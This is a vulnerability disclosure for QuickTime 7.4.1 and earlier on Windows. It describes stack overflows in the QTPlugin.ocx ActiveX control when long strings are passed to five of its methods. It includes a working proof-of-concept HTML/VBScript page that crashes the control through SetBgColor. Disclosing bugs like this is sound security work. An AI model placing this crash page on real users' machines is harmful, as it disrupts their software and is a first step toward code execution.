Application: QuickTime <= 7.4.1 QTPlugin.ocx Multiple Remote Stack Overflow
Web Site: http://www.apple.com/fr/quicktime/download/
Platform: Windows
Bug: Multiple Remote Stack Overflow
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1) Introduction
2) Bug
3) Proof of concept
4) Credits
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1) Introduction
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A nice introduction to Quicktime Player can be found here : http://www.apple.com/quicktime/player/
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2) Bug
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Stack Overflow/Denial of service occurs when supplying a long string to theses functions:
-SetBgColor
-SetHREF
-SetMovieName
-SetTarget
-SetMatrix
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3)Proof of concept
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Proof of concept example [works with the others functions supplyed in section 2) ] :
<html>
<object classid='clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B' id='foo' ></object>
<input type="button" value="Hit me" language="VBScript" OnClick="test()">
<script language="VBScript">
sub test()
bar = String(515305, "A")
foo.SetBgColor bar
End Sub
</script>
</html>
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5)Credits
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laurent gaffi
laurent.gaffie{remove_this}[at]gmail[dot]com
